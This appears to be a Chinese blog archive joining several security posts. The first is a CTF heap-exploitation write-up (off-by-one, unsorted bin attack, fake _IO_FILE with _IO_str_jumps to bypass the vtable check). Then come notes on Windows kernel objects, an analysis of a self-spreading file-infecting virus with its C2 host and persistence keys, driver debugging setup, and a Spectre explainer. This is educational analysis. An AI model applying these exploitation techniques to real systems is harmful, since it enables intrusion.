,realloc都会重新申请一个空间(未想到如何利用)从几个点来看,这个题目的关键应该就是利用这个off by one
的漏洞了。
这个漏洞的主要利用方式是,由于多写了一个字节,导致会将堆上的size
字段修改,从而导致的一种漏洞。比如说如下的情况:
此时B、C块已经是allocated
的状态。若我们的A块有能力溢出,改写B块的size字段,那么此时我们可以通过将size字段改大,然后将B块free掉,之后重新分配一个修改后的size大小的堆,就能够将B和C包括在堆中。不过这里注意一点:
1 | nextsize = chunksize(nextchunk); |
当free的时候会检查当前的堆块之前或者之后的堆的大小是否合理。
此时的size大小可随意伪造嘛?
我们知道,检查堆块之前\之后的堆是通过size字段进行查找的,所以如果我们随机伪造size,会导致检查过程中bck\fd
(就是malloc中指向当前堆块前一个\后一个堆块的指针)会落入到一个空白(或者是我们的堆内容)中,这样会导致size变得很奇怪(而且有时候还是落入到不可控的位置等)类似这样的检验很多。所以除非我们知道此size会让指针落入到什么位置,否则我们通常使用overlap的思路,完整的将一个堆块包入。
除了1,此时的size有什么注意的?
inuse位(也就是最低位)要标志为1。也就是堆溢出的时候,size总是为单数。
为什么不尝试修改一个freed chunk?
其实是可以的,不过修改freed chunk的也需要布置chunk的头部就是了。
只需要关注当前fake的chunk嘛
不只,我们需要假设我们是glibc,所以此时fake chunk的next chunk和prev chunk我们都需要考虑在内。包括他们的prev_size和size都要注意
pwn的第一步总是leak,这里我们通过构造堆尝试泄露libc和heap地址(这一步我玩了3天ORZ。。。)这个题目头疼的地方在于:
我承认它成功的恶心到我了。。因为一般的泄露思路都是利用什么free之后重新malloc导致残留指针之类的。或者一般的chunk overlap也是类似的思路,通过将之后已经free的堆块包含,然后打印当前堆块之类的。这个倒好,malloc之后memset了。。。。这样的话这些一般思路都不能用。思来想去,发现有一个办法还行,那就是故意造成堆块之间不对齐,从而让一些指针落入到可以打印的堆块中(想到这点之前,足足浪费了一天以上的时间试错真的是ORZ)
libc的话,我们考虑使用unsorted bin的fd和bk泄露。我们首先构造如下的堆:
1 | add_letter(ph, 0x80, padding, to) |
我们分配0x10用于为realloc
的堆存放下一次分配的内容(这么做好像有缺点,后来会提到),之后将这个两个堆释放掉,在内存中就会存在如下的形式:
其中黄色为具有打印能力的Letter,红色为reallo分配的name_array
为了能够泄露数据,我们必须满足以下条件
为了达到这个目的,我们必须要让第一次分配的那个Letter重新被分配到Letter,同时,要让第一次分配的堆上方存在一个Letter。因此根据fastbin FILO的原则,我们通过分配一次0x2c大小的堆块,让Content堆块占用一个fastbin,重新让Letter回到第一次分配的位置,同时我们分配一个大堆,让0x80上方出现一个用于溢出的Letter
1 | # raw_input("First check, we look at as note") |
由于一开始的0x80为unsorted bin,所以此时的0x50堆块依然是落在unsorted bin中,我们使用Letter修改其size字段,将下方的Letter重新包括进去。之后我们错位分配一个0x60大小的堆块,让unsorted bin剩下一个0x20的空间,从而让其fd和bk落入下方的Letter中:
1 | add_letter(ph, 0x60, padding, 'T') |
这之后打印,就能够将fd和bk打印出来,从而泄露libc
做到上面那一步其实pwnhub已经结束了。。。后来问了官方,官方说要用到unsorted bin attack,所以要泄露heap的地址(为什么大佬可以在一天之内做的完呢???)没办法,我们继续利用我们上述的堆块进行泄露。
我们可以发现,刚刚的堆块中剩了一个堆,堆的大小为0x20,如果我们此时分配一个大小大于0x20的堆,就会让这个堆落入到small bin中,所以如果我们能够再次构造一个small bin,并且让这个堆块落入Name
,就能够将heap的地址泄露出来。
我们首先构造一个和Name
一样大的Content,并且在这个堆块的后面分配一个0x40的堆块,这个堆块之后自动分配的Name
用来打印泄露的地址。为了能够overlap 所有的堆块,我们必须保证当前堆块的下一个堆块之后有一个有效的堆块大小,因此我们需要再次分配一个堆块来存放合法的堆块大小。之后,我们将这一步最先分配的堆块释放掉,为一会儿的溢出做准备:
1 | add_letter(ph, 0x2c, padding, to) |
之后重新分配0x30的堆块,从而让Name
和Content的位置调换,进行off by one 的攻击,此时让堆块包括下方的整个堆。不过在实际执行的时候发现,reallloc的堆增加了一个0x20的堆块在中间,因此我们需要分配的堆块实际大小为0x30 + 0x20 + 0x40 + 0x30 = 0xc0
之后我们通过分配一个0xa0大小的堆块,让堆块剩下0x20,并且落入到Letter中,之后再随便分配一个大于这个大小的堆,就能够让这个0x20大小的unsorted bin 落入small bin中,从而实现堆地址的泄露
1 | add_letter(ph, 0xa0, padding, to) |
官方给出的解题思路中需要用到的是修改_IO_list_all
。我在
pwn之文件指针处理
中介绍过这个结构体的利用方式,但是这个利用方式在libc2.23之后就被封杀了,于是这里我们介绍另一种绕过的方式。
为了思考方便,我们把源代码贴出来。首先这个结构体定义为:
1 | struct _IO_FILE_plus |
其中这个vtable
中记录的内容为:
1 | struct _IO_jump_t |
FILE的内容则为:
1 | struct _IO_FILE{ |
注意到这个struct _IO_FILE ,这里的地方指向了下一个_IO_FILE结构体。
关于这个变量的使用,我们查看代码,这里我们关注
1 | int |
函数是一个flush
的过程,会调用fp指针中的_IO_OVERFLOW_
宏指向的函数。
这个函数会在glibc检测到memory corruption
的时候被调用。而且这个地方其实不一定要手动触发,如果程序触发了
都将调用这个函数。
所以这里的想法就是:通过unsorted bin attack,修改这个_IO_FILE的_chain指针的值,让它指向一个我们准备好的位置,从而实现攻击。
我们首先看到malloc中,unsorted bin 在malloc时候的处理流程:
1 | bck = victim->bk; |
发现其实在unsorted bin malloc的时候,程序没有检查当前是否发生了unlink,也就是说此时我们可以将bck
修改成任意一个我们需要的地址,这样的话我们就能够让那个地址的fd偏移处(3*size_t)处变成当前的unsorted_chunks(av)(也就是main_arena中存储的unsorted binn的开始位置)
乍一看这个利用并没有什么用,毕竟我们给指定地址赋值为unsorted_bin(av)也没啥意义。这里有两种办法继续利用
_IO_LIST_ALL
这里介绍后面那种利用方式。当我们成功的让_IO_LIST_ALL
指向了unsorted_bin(av)之后,此时如果我们去看这个FILE结构体的话,内容如下:
疑问:为什么这个unsorted_bin(av)实际上表示的是真正的unsorted_bin的地址-0x10?
因为此时代码为了方便表示chunk,都是直接使用chunk结构体,则chunk->fd 和 chunk->bk 本身存在偏移,因此需要-0x10
所以这里我们可以知道,此时_chain正好会落到smallbin[5]
的范围上。换句话说,如果这个时候我们有一个0x30大小的smallbin的话,那么这个bin的内容就可以用来作为一个伪造的FILE结构体。
由于在后来的版本中(libc >= 2.24)中,会对vtable有一个检验:
1 | /* Check if unknown vtable pointers are permitted; otherwise, |
根据我原来的办法,是让这个_vtable变为system之类的,这样的话就会不满足其地址在[__start___libc_IO_vtables, __stop___libc_IO_vtables]
之间了。
所以这里我们也要试着学习一个新的姿势去绕过这个vtable的检测。这里根据大佬的教晦,我们可以使用一些已有的vtable进行攻击。这里使用的就是_IO_str_jumps
。这个玩意儿也是一个struct _IO_jump_t
结构体,并且这个结构体中的_IO_OVERFLOW
有可以利用的地方。(虽然我找了源码,但是发现源码里面体现不出这些内容,于是我这里也模仿大佬用IDA来展示)
由于题目是32bit的,所以以下的偏移仅适用于32bit
1 | if ( fp->_flags & 8 ) |
这里是flag的确定,为了防止程序陷入到这部分内容,我们可以简单的让flags为0,即可达到这个目的。
然后我们观察之后的逻辑:
1 | base = fp->_IO_buf_base; |
可以看到,这里会调用一个在fp中的函数,我们看一下实际上是什么:
可以看到,实际上这个地方call的是一个esi+0x98位置的变量。显然这个位置是我们可控的。同时我们通过设置fp->_IO_buf_base
和fp->_IO_buf_end
两个参数,就能够将参数的位置也确定下来。同时注意到,我们需要保证write_ptr - fp ->_IO_write_base >= offset
,才能够进入调用流程。
然后,根据大佬的博客,我们有一些内容是需要主动绕过的,比如说lock参数需要一个指向0的指针地址,我们可以随便从代码中找到。同时,为了能够保证进入到_IO_OVERFLOW
的逻辑里面,我们需要绕过另一个处限制:
1 | int |
这里可以看到,为了进入这个_IO_OVERFLOW
函数,我们需要让结构体中的_mode
为-1,并且_IO_wrie_ptr
要大于_IO_write_base
。
接下来就是设置vtale和对应的函数地址即可。经过计算发现,此时的vtable+4的位置就是我们需要构造的函数地址,则我们需要伪造的堆大概如下:
1 | fake_bin = p32(0)# flags |
然而这个题目最最最最头疼的地方就在这里。。。在每次我们申请堆块的时候,都会伴随的申请一个0x30的堆块!也就是说,我们必须保证伪造smallbin的时刻,有足够的fastbin(0x30)用于我们unsorted bin attack攻击。这个地方非常头疼。我最后参考了一个大佬的exp,发现这个题目关键的一个点就是,完成smallbin构造后,每次allocate chunk之前,我们要保证delete一个chunk,这样就能够满足每次都有fastbin以防smallbin被name给抢走
之后的逻辑有点长。。。参考大佬的做法,首先申请了3个0x10大的chunk,此时观测堆中情况如图
这三个chunk我们之后都会用到,标记位1,2,3。接下来我们进行伪造small bin的工作
我们可以看到,一个假的_IO_FILE_plus
结构体(fake_bin)需要用到0x98的大小,这个大小显然不等于smallbin[5],所以我们需要通过伪造 chunk size,让一个本身很大的unsorted bin
变小,才能够实现伪造。
大致步骤如下:
这样,我们就会剩下一个"0x30"大小的unsorted bin,并且有完整的_IO_FILE_plus
结构体。之后我么们申请一个大一点的堆块,就能够让这个0x30的堆块落入到unsorted bin 中
*调试技巧:gdb中,print 结构体名 指针 可强行将当前指针指向的地址作为结构体解析
这边我们用到前两个堆块,并且还要用到之前提到的0x50的堆(这个堆的大小超过fasatbin,能够落入到unsorted bin中,这点很重要)
我们遵循先free在allocated的原则就能够保证此时不会将之前的smallbin浪费。同时我们要记得,unsorted bin 是FIFO,所以此时为了不让攻击失败(基本上 off one byte的时候都会让chunk落入到unsorted bin),所以我们free的顺序非常关键,一定是先free攻击堆块,后free 0x50这个用来触发main_arena的堆块
这里的逻辑如下:
由于此时的bk已经被破坏,下一次malloc堆块的时候就会因为无法通过检测,进入_malloc_printerr
,从而触发_IO_flush_all_lockp
,完成getshell!
_IO_FILE_plus
的结构体元素在64bit下和32bit下大小一致。实在是没力气部署调试远程了。。。就放个本地的吧
1 | # -*- coding:utf-8 -*- |
http://blog.hac425.top/2018/04/23/pwn-with-glbc-heap.html
大佬学弟的博客,强势安利一波(这里预言,大佬以后可能会写书)
在 Windows 操作系统中,有很多涉及到底层的操作,例如文件操作,进程操作,注册表操作,网络操作,事件操作等等。为了能够将用户从繁琐的内核操作中分离出来,Windows 提供了很多的 API 函数来帮助用户能够更好的操作,例如对于文件操作,我们有CreateFile
,WriteFile
; 对于进程,我们可以使用CreateProcess
,也有CreateToolhelp32Snapshot
这样的操作函数。这些函数操作的对象就是我们本文要讨论的内核对象。例如:
这些内核对象都是一个内存块,由操作系统内核进行分配,并且也只能由操作系统内核访问。内核对象中的属性随着内核种类的变化而变化。形如进程对象拥有 PID 的属性,而文件对象有一个字节偏移数作为参数。但是大部分的内核对象都有下列两个属性
这些属性只能够由操作系统内核进行修改和使用,从而避免应用程序对内核进行过多的修改。
上文中提到,内核对象只能够由内核进行处理,那么应用程序应该如何访问这些对象呢?答案就是使用句柄(Handle)。当调用一个创建内核对象的函数后,系统会生成一个句柄返回到应用层。之后应用层将会使用这个句柄对对应的内核对象进行操作
为了保证操作系统的可靠性,句柄的值是与进程相关的,但是同时,句柄也支持在不同的进程间共享。
由于内核对象可以被多个进程共享,所以即使说由进程A创建了一个内核对象,在进程A结束之后。在进程B中也使用了同一个内核对象,此对象也不应该被回收。为了实现这点,每个内核对象都由一个使用计数的参数,用来表示当前有多少个进程在使用当前内核对象。当没有进程使用当前内核对象的时候,该使用计数会变为0。操作系统会检测内核对象的引用次数,当次数为0的时候就会 销毁当前对象(不完全是这样) ,这样的话就能够保证系统中不存在没有被任何进程引用的内核对象。
让引用计数减少的最基本的方法就是调用函数CloseHandle
,每当关闭一个句柄,就算是减少了一次对当前内核次数的引用
**: 上文提到,内核对象的引用计数变为0的时候会销毁对象,并且调用CloseHandle
的时候会减少引用次数这种说法不完全正确。比如说当使用CreateProcess
创建的进程对象在被CloseHandle
之后也会继续运行直到程序结束,而CreateFileMapping
创建的共享空间句柄就会因为CloseHandle
而导致内核对象被销毁。个人理解,销毁与否关键取决于当前内核对象所管理的对象是否结束(比如说进程的话要等进程运行结束才算是结束,而内存空间只要没有任何东西运行,所以关闭之后就相当于是当前引用结束了)
安全描述符之前接触比较少,之后应该会单独开篇来讲一下这个东西,这里就简单介绍一下。
内核对象的访问限制。一个安全描述符主要描述这些事情:
在内核中可以通过一个叫做 SECURITY_ATTRIBUTES 的结构进行设置。
这个概念是由这本书提出来的,并不保证实际情况就是如此
进程初始化的时候,将会由操作系统为其分配一个句柄表。这个句柄表相当于是一个数据结构类似的东西,然后里面包含一个内核对象的指针,一个访问掩码(access masl)还有一些标志
1 | +-------+-------------------------+-------------------------------+------------+ |
如上,为一个记录了有效句柄的句柄表。其中索引1为一个有效的内核对象的句柄。
当使用创建内核对象的函数时,就会对当前的表格进行填充。这类函数形如:
通过这些函数得到的句柄可以被同一进程中的所有线程共同使用。在使用句柄的时候,Windows进程往往会将当前的句柄值右移两位作为真正的句柄值。所以第一个有效的句柄值往往是4。(众所周知,在 Windows 操作系统中,System 进程的 PID 值为4,这里可能有所关联)
正如前文提到的,内核对象是存放在内核空间中的,部分的API会听过为内核对象命名的操作。通过使用名字访问的话,就相当于是跨进程,此时被称为放在全局命名空间。若不使用命名的话,则是在同一进程中共享。
然而,在 Windows Vista 之后,对于命名有了要求。全局命名空间名必须要为
1 | Global\ObjectName |
的形式。
同样我们也能够显示的指明一个对象放入当前会话空间
1 | Local\ObjectName |
这是因为, Windows Vista 之后,在 Windows 登陆的时候会创建一个叫做 Session 0 的会话。在这个会话中的服务都是在登陆期间执行的。通过这样做能够有效的将应用程序和系统服务进行隔离。同样,每一个登陆的用户都将获得一个会话(一般是从 Session 1开始)不同的用户可以登陆不同的会话。
推荐一个 Sysinternals 提供的工具(似乎是被微软收购了),叫做Process Explorer
严肃警告:这个公司的软件都会装驱动,还想玩游戏的个位千万千万不要装到跑游戏的机器里面,相关故事请参考我的惨痛经历,顺便里面提到的Procmon其实在检测文件行为的时候还是蛮好用的
如果只是想要了解病毒本身的行为的话,可以直接看后面的分析报告。
其实这个文件和之前分析过的另一个脚本病毒扔一块儿了(那个我好像没写,叫做WindowsService
的病毒),我就想着干脆先扔到PEiD里面看一下,果然发现里面有、、东西,是一个UPX的壳,于是二话不说直接脱掉。打开之后发现,又又又又是日常混乱代码段:
嗯莫名其妙???突然调用这些函数??简单的调试了一下,发现大部分的程序似乎都没有正常执行。初步猜测可能是用于混淆的代码。然后看到一段神奇的代码:
1 | .code:00408A1D loc_408A1D: ; CODE XREF: sub_40724D+17D4↓j |
这段进入的时候,eax值为0x34,也就是当程序运行到push dword ptr fs:[ecx]
的时候,ecx已经被eax赋值成功,此时会取出fs:[0x34]的值。上网查看后发现,这个位置相当于是GetLastError
函数,记录了当前的错误代码。猜测此处是一个反调试的地方(但是我看了很久,也没发现它怎么反调试了。。。因为我挂着调试器却顺利的执行到了正确逻辑上)
之后走过长长的初始化逻辑(?),来到这边
1 | .data:004113A0 loc_4113A0: ; CODE XREF: .data:loc_4113B1↓j |
这部分就是解密的,大概的过程就是将位于两个不同位置的程序重新插回到原先.code
段的开始(直接把一开始的RVA给覆盖了。。。)然后根据节的大小不停的解密解密。。。这里没有仔细看了,然后在运行到一个接近创建文件的函数处断下,发现整个PE文件的大部分已经被解开了。为了能够把文件扒下来,这里写了一个IDC脚本:
1 | auto from = 0x00400000; |
然而拔下来后发现,文件头居然还是原来的文件头。。。这里的文件头还是错将.upx
段当成了PE头…于是只好直接继续脱壳
然后经过长长的运行逻辑,来到这里:
1 | int __userpurge sub_402B89@<eax>(int *a1@<edi>, int *a2@<esi>, void *a3@<ecx>, LPCSTR lpString) |
其中传入的lpString
就是当前进程的内容。这里可以看到病毒会检测当前程序是否存在固定磁盘上,如果不是的话将v12置为1。(这点不是很懂,因为调试的时候显然是运行在本地磁盘的,但是v12也为1)。之后会进入这个sub_4015BF的函数,这里选取部分:
1 | for ( i = 0; i != 7; ++i ) |
这里会尝试7中不同的路径,检查自己是否有权限向这些位置写入数据,如果能够成功,则向某一条路径复制程序本身。
当软件自我复制成功后,会尝试进程启动这个程序:
1 | BOOL __stdcall CreateProc(int a1, __int16 a2) |
然后这个进程就自动退出了。
另一个程序的大体流程也是一致的,只不过在文件复制的环节,如果都复制成功之后,就不会进入简单的启动进程的逻辑,而是进入如下的位置:
程序中使用GetModuleHandle
和LoadLibrary
动态绑定一些会用到的关键函数。然后会进行HOOK
1 | int InsertFunction() |
Inject
里面的函数和mhook
这个库提供的功能类似,通过从向ntdll.dll
动态链接库中申请空间,然后将注入代码写入,实现对"ZwWriteVirtualMemory"函数的注入。由于这个函数在CreateProcess中会被调用,因此会在调用进程创建的时候进入hook函数。
之后我们来分析一下hook的内容。开始的位置有如下内容:
1 | if ( pe ) |
(文件恢复做的不是很好,这里漏掉了一些内容)这里可以猜测出,应该是病毒自己释放了一个文件,之前存放于自己进程中,然后这里通过读取进程的方式,将当前的数据读出,然后依次检测当前的文件头部是不是"MZ",以及NT头部的内容是否为"PE"来确认进程。最后将NT头部之后的地址返回存储与程序中。
然后程序尝试寻找一个可以释放关键代码的地址:
1 | do |
通过反复尝试进行地址分配和删除,从而确定一个可以使用的地址位置。根据后来的结果来看,最后会被定位到0x20010000
上
之后会尝试的读出当前进程的PE文件头,并且将本来存储与本身的DLL文件写入到进程中的,通过分配空间对其进行构造,并且填写PE头部。
1 | v6 = checkAndGetSectionHeaders((int)PEFile, size); |
之后就能够将整个的DLL构建完成。之后为了能够执行这部分的内容,病毒还将程序入口逻辑进行了修改:
1 | .text:013AB5E8 start proc near ; DATA XREF: HEADER:01350160↑o |
这部分为新建立的进程的逻辑。关键在于,此时的0B0000
中的内容已经变成了:
1 | DllEntryPoint dd 20010000h, 20017C79h, 0D000h, 80000h, 90000h |
这里的0B0000
已经彻底变成了问题DLL的入口。(由于作者技术有限,这里没有展示0A0000中的代码内容,但是不难想象,应该是一个load函数)
于是这个病毒成功的将自己注入到了一个正常的IE进程中,并且借助IE的外壳进行行动。
之前提到过,病毒释放了一段逻辑,我们这里来分析一下主要逻辑在做什么:
程序开始时候创建了一个Mutex互斥锁,之后应该会有多线程的操作。
然后将原先的加密字符串解密,并且初始化Socket;
1 | InitHeap(); |
检查当前磁盘符号,并且将读出的基本信息拷贝到一个全局变量中。之后将这些信息MD5处理,然并且将这些信息连同当前时间一起写入到文件\Application\dmlconf.dat
中
之后程序会启动多个线程进行操作
线程打开注册表Software\Microsoft\Windows NT\CurrentVersion\Winlogon
中的Userinit
,之后会将自己的程序地址放入其中,使其能够做到开机自启。
线程使用之前初始化完成的socket,向网址google.com:80
,bing.com:80
,yahoo.com:80
三个网址发送请求,检测当前的网络情况是否通畅
每隔一阵子往文件dmlconf.dat
中写入当前的时间
这个线程会检测一个全局变量,然后会创建两个子线程进行网络通信。
线程A:
负责从fget-career.com:4678
中上传之前提到的各类基本信息,包括时间,本机的基本状态等等
线程B:
从fget-career.com:4678
中下载数据
(功力太差,这段没看懂)
首先检查注册表中的Software\WASAntidot
,如果其中的值为disable
,那么放弃遍历磁盘。否额的话进行磁盘的遍历。
1 | InitWindowsInfo(); |
针对磁盘,其需要避免的遍历的路径为:
1 | C:\Windows\system32\ |
如果当前磁盘空间大小符合要求(超过80000h)则检查磁盘类型。本地磁盘和移动磁盘都将被感染。之后将遍历所有磁盘下的文件,然后检查文件后缀,如果文件后缀为.exe
或者为.html
的则进行感染
1 | endStr = (const CHAR *)FindEndStr(lpString); |
如果对象是exe
文件的话,首先检查文件中导入表内有没有Loadlibrary
和CreateProcess
函数,有的话则通过解析文件头部,将其中塞入一个.rmnet
的节。然后会将原来的exe运行的入口处修改,放入两个关键逻辑。最后还会重新计算PE文件头的checksum。
其中一个逻辑即为当前逻辑,另一个逻辑内容为:
程序运行过程中,释放全局锁KyUffThOkYwRRtgPP
,期间动态绑定函数,并且创建一个叫做Srv.exe
的文件且运行。
此时则是通过检查html文件节为中,是否包含关键字符串</SCRIPT>
,如果未包含则将以下代码写入html文件中:
1 | <SCRIPT Language=VBScript><!--',0Dh,0Ah |
其中,WriteData内的数据为之前的病毒数据。
前两个行为只是针对所有目录,后面还有一个针对移动磁盘的感染逻辑:
首先检查移动磁盘中的autoinf
文件中末尾是否有RmN
字样的字符,如果没有的话,则进行感染:
RECYCLER
,创建该目录并且设置为hiddenRECYCLER
目录下,添加我们之前添加的目录,并且设为隐藏.exe
之后开始对文件进行操作。首先会像那个exe文件中写入首先往autoruninfo
文件写入下列内容:
1 | '[autorun]',0Dh,0Ah |
%s
中是之前提到的exe的路径
并且会在当前内容的前后放入大量的干扰字符,阻止正常观察结果。
样本名称: gmrnHTLb.exe
MD5值: 44E92C4B5F440B756F8FB0C9EEB460B2
SHA256: 876C5CEA11BBBCBE4089A3D0E8F95244CF855D3668E9BF06A97D8E20C1FF237C
格式: Portable executable for 80386 (PE)
传播方式: 感染硬盘中的Exe,html文件,并且会感染U盘,随U盘传播
iexplorer.exe
路径并且检查其存在(如果表中的值被更改,则会启动不同的浏览器)C:\Program Files\Common Files
, C:\Users\username
,C:\Users\username\AppData\Roaming
以及系统根目录(默认为C:\Windows\System32
)Windows 目录(默认为C:\Windows
),默认tmp目录C:\Users\fly\AppData\Local\Temp
以及C:\Program Files
这些目录的写权限,之后往其中一个目录中写入本身的拷贝。ZwWriteVirtualMemory
函数进行hook,这个函数的hook会在CreateProcess
中被调用。0x200100000
中,完成PE头的拼接并且导入一些外部函数iexplorer.exe
的开始位置,让其可以跳转到注入的DLL的位置,完成注入。Application\dmlconf.dat
中a. 线程1打开注册表Software\Microsoft\Windows NT\CurrentVersion\Winlogon
中的Userinit
,修改其中值实现样本能够开机自启
b. 初始化socket,并且往google.com:80
,bing.com:80
以及yahoo.com:80
三个网站发送请求,检查网络状态
c. 每隔一段时间,向文件dmlconf.dat
中写入当前的时间信息
d. 从网站fget-career.com:4678
中上传本机基本信息
e. 从网站fget-career.com:4678
中下载程序
f. 通过检查注册表,决定是否对文件尽心感染。如果Software\WASAntidot
中的值不为disabled
,则开始进行感染。其中分别感染exe
和html
文件,向其中加入恶意程序片段,实现病毒复制。同时往U盘中写入autorun.inf
,完成通过U盘的传播过程。
最近开始上班了,感觉搞这些的时间很少,每天不小心熬过12点多第二天上班就会犯困QvQ。病毒本身在分析过程中也有很多没有看明白的地方(比如脱壳总是失败就很惨)写道后来发现这个病毒其实网上已经分析了很多次,思来想去还是老老实实按照自己看到的部分把分析的内容写了下来。最近blog搬了个家,现在也是回归正道了,希望以后不要再偷懒了,尽量还是有东西都写上去好了。。
https://blog.csdn.net/qq_32400847/article/details/52798050
https://bbs.pediy.com/thread-210140-1.htm
主要是为了实现一个 当创建新的进程的时候,获取其创建时的函数调用链 这个方案。(迫于时间,最后直接HOOK函数CreateProcess
,然后利用了AppCertDLLS的简单思路。。。 。然后就开始自己瞎找,找到了一个利用驱动实现检测的思路。
驱动中有一个函数叫做:PsSetCreateProcessNotifyRoutine
。这个函数原型
1 | NTSTATUS PsSetCreateProcessNotifyRoutine( |
这个函数能够再我们创建进程/删除进程的时候,调用回调函数NotifyRoutine
:
1 | PCREATE_PROCESS_NOTIFY_ROUTINE PcreateProcessNotifyRoutine; |
利用这个函数,我们就能够直接检测每一个进程的创建过程,感觉简单了很多。
安装好 WDK 之后,我们就能够在VS里面直接看到开发界面找到驱动开发界面:
!()[Windows-Driver-初探/driver00.png]
驱动主要分为两种:
由于教程上Kernel-Mode Driver
的教程比较多,这里选择用这个进行入门。
PS:驱动起名字的时候注意,不要超过32个字符,这个是规定
首先选择对应版本:
之后,我们修改当前的项目属性,在配置中的Driver Settings -> General
中可以配置我们要发布的驱动对应的平台。
然后再项目处添加一个叫做Driver.c
的文件
这个位置的 Driver.c 注意不要用cpp做后缀,似乎和编译器有关
然后键入下列代码:
1 | // 原先使用的是MSDN上提供的源代码,但是编译后运行的时候,一直提示说“找不到设备”,所以只能够 |
编写完成后,我们修改一下我们工程的配置(为了准备发布),求改模式为DEBUG,并且发布设置为x64
并且不使用Wpp Tracing
之后来到对应文件目录下(x64\Debug\KmdfHelloWorld
)能够找到以下文件
kernel-mode
的驱动文件驱动要运行起来没有别的程序那么简单,得需要另一台独立的机子才能够运行。我们一般把运行调试器的机子叫做host computer,用于运行驱动的机子叫做target computer。
配置流程
这里我们用Vmware
来辅助测试。首先我们装好了一个64bit 的 Windows7。为了实现联机调试,我们要给当前虚拟机添加串口设备:
串口设备
\\.\pipe\DriverDbgPipe
最终配置情况如下:
Windows中管道的命名规则必须为: \\.\pipe\
然后在管理员权限下,执行以下语句:
1 | bcdedit /set {current} debug yes |
这里的debugport用于指定我们的COM口。我们创建设备的时候,写作串口设备2
,所以这里设置为2。
之后使用windbg
,加上下列参数即可进行调试
1 | .\windbg.exe -b -k com:pipe,port=\\.\pipe\DriverWinDbg,resets=0,reconnect |
这里使用的是VS2017(后来改成VS2015,配置一致)
WDK Test Target Setup x86-x86_en-us.msi
Driver->Test->Configure Devices
之后我们就能够拿VS来调试啦!
Windows Kernel Mode Debugger
,连接目标调整成我们的主机,然后选择内核进程:全部中断
,让整个内核进程停下来然后我们利用工具InstDrv
进行驱动安装,安装好之后启动服务,就能够下调试驱动啦!
PS:用VS调试的时候,可以直接在源代码中下断点进行调试,不过要保证
1 | bcdedit /debug on |
设置完之后,一定要重启,最好是关闭虚拟机再打开。
(上面也提过别的打开方式,但是一定要打开,否则windbg会一直处于reconnect wait...
的状态)
同样,为了实现VS远程调试,一定要安装:WDK Test Target Setup x86-x86_en-us.msi
或者WDK Test Target Setup x64-x64_en-us.msi
否则的话配置HOST那部分无法通过。
调试的时候,对于驱动,调试的时候如果要替换当前的驱动,一定要记得卸载,不然的话会卡死
之前用VS2017的时候,不知原因一直爆炸。。改成VS2015之后突然可以了。。。理解不能
如果要用VS下断点,则此时的调试顺序为:
如果先载入了驱动,再让VS连上target,此时下载vs里面的断点(指下在代码上的那种)会断不下来。(估计原因是因为载入了驱动后,VS会找不到符号所以无法调试)
waiting to reconnect
)这个漏洞的成因其实是 CPU 在优化程序执行过程中所导致的。所以在研究这个问题之前,我们首先要提导致了这个漏洞产生的优化方式:
我们知道,当我们访问一个内存的时候,比如说如下的代码:
1 | int temp = array[index]; |
我们需要进行两个操作:
当进行数据操作的时候,我们知道读写的时候速度很慢,当我们执行第二个操作的时候,程序需要发生一次内存读写:
如果我们多次进行这样的数据访问的话,那么会导致我们程序执行的时间大大增加。
为了提高程序访问数据的速度,设计者们采用了局部性原理,也就是地址相邻的数据可能会被频繁访问的特点。
每次取出数据的时候,会将当前地址周围的数据提前缓取出,存在cache
中。每次访问内存的时候,首先检查cache
中是不是含有我们查找的地址对应的数据,如果有的话,就会将当前的数据取出
如上图,此时橙色的数据块是我们查找的数据,那么此时就不会进行内存访问,而是直接从 cache 中将数据取出。这个过程比直接访问内存要快,从而提高了程序的执行速度。
在程序执行的过程中,很多指令其实不一定要同时执行,比如下列指令:
1 | mov ecx, [edi] |
可以看到,有一个取值的操作,并且在这个指令前的两个指令与当前指令无关,所以我们完全可以打乱程序的执行顺序:
1 | mov eax, 3 |
打乱了执行的顺序之后,这些指令就能够并发的执行。
CPU的流水线工作流程如下:
整个执行的流程如下:
由于上面的指令之间不存在相互依赖关系,所以这里三个指令就能够并发执行,可以在第一个指令进行执行这个位置的时候,第二个指令在译码,第三个指令在取指,进行并发执行的时候也不会影响。
但是,遇到这类代码的时候,就没有办法进行并发执行:
1 | if(a > 10){ |
遇到了分支的时候,代码就没有办法直接进行并发执行了。因为这个时候不知道当前的代码会不会影响并发,所以这个时候就不会进行乱序执行,而是会执行分支预测。
比如将上面的判断写起来的时候如下逻辑:
1 | cmp edx, 10; edx = a |
此时cpu不知道当前的程序会进行到哪一个分支上,但是为了提高执行速度,此时的 cpu 会尝试进行分支预测,也就是通过一定的策略,猜测此时的程序会执行的位置,并且提前执行当前的指令。如果执行正确,那么就继续执行之后的指令,否则的话则将当前预执行的指令回滚,然后重新执行正确的分支
对于分支预测,有很多相关的研究,一个最简单的思路就是
对于所有的跳转,统一进行跳转
这个操作虽然很简单,但是由于一个程序存在大量循环语句,这个预测其实还是有一定的优化意义的。
为了增加命中率,又有了一种与状态机相关的预测方法
对于当前的跳转,设置一个状态机,以00表示。每次发生一次跳转,就将一个状态置为1。比如说跳转一次,则此时状态为01,再跳转一次,则状态为10。当这个状态机达到11或者10的时候,遇到分支的时候就预测其将进行跳转,否则的话则不进行分支跳转
这个算法增加了不少命中率,使得分支预测更加准确。之后在这个思想上提出了一种新的预测思想:
使用一个 Branch History Register ,记录当前的跳转情况。比如说0110表示到目前位置之前,对于分支我们第一次未发生跳转,中间跳转了2次,最后1次没有发生跳转,然后此时我们就会到一个 Pattern History Table 中查找当前的跳转模式。并且当前的跳转结果也放到学习过程,对这个状态机进行训练。
这个似乎是最近的一个比较核心的预测思路了,之后的思路都是在这个算法上进行的优化。
当我们在进行分支预测的时候,程序会将分支部分的代码进行预执行.比如:
1 | if(i < index_array_size){ |
上述情况中,index_array
是一个用来存储下标的数组,那么当 i 的值大于512的时候,如果训练合理,此时的分支预测会导致程序乱序体现执行了if
语句这种的部分内容:
1 | index_array[i] * 512 |
上述的数据作为数组array2
的下标,于是会把这个地址以及周围的数据放在 cache 中。
这样的时候,index_array[i] * 512 的数据其实就泄露了。因为这个时候,array2[index_array[i] * 512]
已经被读入到cache 中。
那么这个index_array[i]
此时作为下标的形式存在了 cache 中
当然,普通的index_array大部分就是如下的样子:
1 | index_array[16] = {1,2,3,4,5,6...}; |
但是如果,这个index_array的下标如果能够被我们控制的话,我们能够选择一个敏感的位置的数据
1 | idnex_array[offset_to_kernel_function] |
那么我们就能够利用数组,将这些敏感位置的数据泄露。
现在我们把我们的目标数据作为index_array[i]
